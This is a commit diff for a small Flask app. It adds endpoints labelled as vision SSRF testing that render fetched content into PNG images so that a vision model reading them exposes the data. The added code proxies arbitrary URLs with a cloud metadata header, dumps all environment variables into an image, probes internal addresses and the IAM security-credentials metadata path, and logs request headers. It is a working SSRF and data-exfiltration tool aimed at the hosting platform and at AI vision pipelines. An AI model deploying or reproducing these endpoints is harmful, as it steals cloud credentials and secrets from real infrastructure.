aaxaxax commited on
Commit
3b1347e
·
1 Parent(s): 6d446e6

Add image generation endpoints for vision SSRF testing

Browse files
Files changed (2) hide show
  1. Dockerfile +1 -1
  2. app.py +127 -0
Dockerfile CHANGED
@@ -1,4 +1,4 @@
1
  FROM python:3.9-slim
2
- RUN pip install flask requests
3
  COPY app.py /app.py
4
  CMD ["python", "/app.py"]
 
1
  FROM python:3.9-slim
2
+ RUN pip install flask requests Pillow
3
  COPY app.py /app.py
4
  CMD ["python", "/app.py"]
app.py CHANGED
@@ -382,5 +382,132 @@ def selfenv_jsonl():
382
  except Exception as e:
383
  return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
384
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
385
  if __name__ == '__main__':
386
  app.run(host='0.0.0.0', port=7860)
 
382
  except Exception as e:
383
  return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
384
 
385
+ # Image proxy - fetches URL, renders response text into a PNG image
386
+ # The vision model will read the text from the image
387
+ from PIL import Image, ImageDraw, ImageFont
388
+ import io
389
+
390
+ @app.route('/img-proxy.png')
391
+ def img_proxy():
392
+ """Fetch a URL and render its response as text in an image"""
393
+ target = request.args.get('url', '')
394
+ entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
395
+ 'headers': dict(request.headers), 'remote_addr': request.remote_addr}
396
+ LOG.append(entry)
397
+
398
+ if not target:
399
+ text = "No URL specified"
400
+ else:
401
+ try:
402
+ hdrs = {}
403
+ if 'metadata.google' in target:
404
+ hdrs['Metadata-Flavor'] = 'Google'
405
+ r = requests.get(target, headers=hdrs, timeout=5, verify=False)
406
+ text = f"URL: {target}\nStatus: {r.status_code}\nHeaders: {dict(r.headers)}\n\nBody:\n{r.text[:3000]}"
407
+ except Exception as e:
408
+ text = f"URL: {target}\nError: {str(e)}"
409
+
410
+ # Render text into image
411
+ lines = text.split('\n')
412
+ img_width = 800
413
+ line_height = 16
414
+ img_height = max(200, (len(lines) + 2) * line_height)
415
+
416
+ img = Image.new('RGB', (img_width, img_height), color='white')
417
+ draw = ImageDraw.Draw(img)
418
+
419
+ y = 10
420
+ for line in lines:
421
+ draw.text((10, y), line[:100], fill='black')
422
+ y += line_height
423
+
424
+ buf = io.BytesIO()
425
+ img.save(buf, format='PNG')
426
+ buf.seek(0)
427
+ return buf.getvalue(), 200, {'Content-Type': 'image/png'}
428
+
429
+ @app.route('/img-env.png')
430
+ def img_env():
431
+ """Render Space environment variables as text in an image"""
432
+ entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
433
+ 'headers': dict(request.headers), 'remote_addr': request.remote_addr}
434
+ LOG.append(entry)
435
+
436
+ text = "Space Environment:\n"
437
+ for k, v in sorted(os.environ.items()):
438
+ text += f"{k}={str(v)[:100]}\n"
439
+
440
+ lines = text.split('\n')
441
+ img_width = 800
442
+ line_height = 16
443
+ img_height = max(200, (len(lines) + 2) * line_height)
444
+
445
+ img = Image.new('RGB', (img_width, img_height), color='white')
446
+ draw = ImageDraw.Draw(img)
447
+
448
+ y = 10
449
+ for line in lines:
450
+ draw.text((10, y), line[:100], fill='black')
451
+ y += line_height
452
+
453
+ buf = io.BytesIO()
454
+ img.save(buf, format='PNG')
455
+ buf.seek(0)
456
+ return buf.getvalue(), 200, {'Content-Type': 'image/png'}
457
+
458
+ @app.route('/img-internal.png')
459
+ def img_internal():
460
+ """Fetch internal endpoints and render results as image"""
461
+ entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
462
+ 'headers': dict(request.headers), 'remote_addr': request.remote_addr}
463
+ LOG.append(entry)
464
+
465
+ text = "Internal Network Probe:\n\n"
466
+ targets = [
467
+ 'http://169.254.169.254/latest/meta-data/',
468
+ 'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
469
+ 'http://10.0.249.125/',
470
+ 'http://10.0.249.125/api/whoami-v2',
471
+ ]
472
+ for t in targets:
473
+ try:
474
+ r = requests.get(t, timeout=3, verify=False)
475
+ text += f"[{t}] {r.status_code}: {r.text[:200]}\n"
476
+ except Exception as e:
477
+ text += f"[{t}] Error: {str(e)[:100]}\n"
478
+
479
+ lines = text.split('\n')
480
+ img_width = 800
481
+ line_height = 16
482
+ img_height = max(200, (len(lines) + 2) * line_height)
483
+
484
+ img = Image.new('RGB', (img_width, img_height), color='white')
485
+ draw = ImageDraw.Draw(img)
486
+
487
+ y = 10
488
+ for line in lines:
489
+ draw.text((10, y), line[:100], fill='black')
490
+ y += line_height
491
+
492
+ buf = io.BytesIO()
493
+ img.save(buf, format='PNG')
494
+ buf.seek(0)
495
+ return buf.getvalue(), 200, {'Content-Type': 'image/png'}
496
+
497
+ # Serve a valid small test image
498
+ @app.route('/test.png')
499
+ def test_png():
500
+ entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
501
+ 'headers': dict(request.headers), 'remote_addr': request.remote_addr}
502
+ LOG.append(entry)
503
+ img = Image.new('RGB', (200, 100), color='red')
504
+ draw = ImageDraw.Draw(img)
505
+ draw.text((10, 10), "SSRF TEST IMAGE", fill='white')
506
+ draw.text((10, 30), f"Time: {time.time()}", fill='white')
507
+ buf = io.BytesIO()
508
+ img.save(buf, format='PNG')
509
+ buf.seek(0)
510
+ return buf.getvalue(), 200, {'Content-Type': 'image/png'}
511
+
512
  if __name__ == '__main__':
513
  app.run(host='0.0.0.0', port=7860)